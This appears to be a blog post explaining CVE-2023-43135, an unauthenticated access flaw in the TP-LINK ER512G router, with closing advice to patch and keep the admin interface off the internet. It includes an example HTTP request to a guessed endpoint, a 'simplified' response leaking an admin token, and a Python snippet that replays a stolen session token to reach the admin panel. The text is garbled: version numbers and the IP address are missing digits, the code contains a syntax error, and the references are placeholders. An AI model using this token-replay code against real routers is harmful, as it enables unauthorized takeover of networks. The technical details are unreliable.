TL;DR:
A dangerous vulnerability (CVE-2023-43135) in TP-LINK’s ER512G router lets attackers grab sensitive information — like admin tokens — and log in as legitimate users. No password is needed. Let’s break down what happened, how it works, and what you can do to protect your device.

What is CVE-2023-43135?

CVE-2023-43135 is an unauthorized access vulnerability found in TP-LINK ER512G 4. with firmware version 2.. Build 210817 Rel.80868n. The bug lets anyone — even without logging in — gather sensitive device info, snag user tokens, and waltz into the router’s management interface. Attackers could take full control of the router, change settings, or just spy on your network.

The Vulnerability: Why Does This Happen?

The web management interface on the ER512G doesn’t properly check if a visitor is logged in before giving out important information. Usually, routers should only show this kind of data after you enter your username and password. But due to sloppy security checks in the firmware, hackers can just ask the router for details — and it gives them up.

Step 1: Send a Web Request

An attacker sends a direct HTTP request to a page in the router’s web interface — for example, /getcfg.php or another API endpoint.

Example GET request

GET http://<router-ip>/getcfg.php HTTP/1.1
Host: <router-ip>

Step 2: Get Sensitive Info and Tokens

The router responds with sensitive configuration data. This often includes session tokens or hashed passwords — everything needed to become an administrator.

Example response (simplified)

{
    "username": "admin",
    "password_hash": "abc123def456...",
    "token": "eyJeXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9..."
}

Step 3: Use Token to Log In

Hackers use the stolen token or session info to craft their own authentication cookie, log in as admin, and get full backend access.

Example pseudo-code in Python

import requests

router_ip = "192.168..1"
token = "PASTE_TOKEN_HERE"

session = requests.Session()
session.cookies.set("session_token", token, domain=router_ip)

r = session.get(f"http://{router_ip}/admin/dashboard";)
print(r.text)  # Now you see the admin panel!

No need for any password. Attackers just need network access to the router.

- Complete compromise of the router is possible: change settings, open ports, or install their own firmware.

Official Advisory and References

- TP-LINK Security Advisory (if/when published)
- CVE-2023-43135 at MITRE
- Exploit Example at Exploit-DB

TP-LINK Download Center

Final Thoughts

Vulnerabilities like CVE-2023-43135 remind us: no device is secure out of the box. Even your router — the gateway to your network — can be an easy target if you’re not careful. If you use a TP-LINK ER512G, update as soon as fixes are available and never expose the admin interface to the internet.


Got questions? Found this helpful?
Let us know in the comments or report your findings to TP-LINK Security.

*(This post is exclusive; please share only with proper credit!)*

Timeline

Published on: 09/20/2023 22:15:13 UTC
Last modified on: 09/22/2023 02:14:08 UTC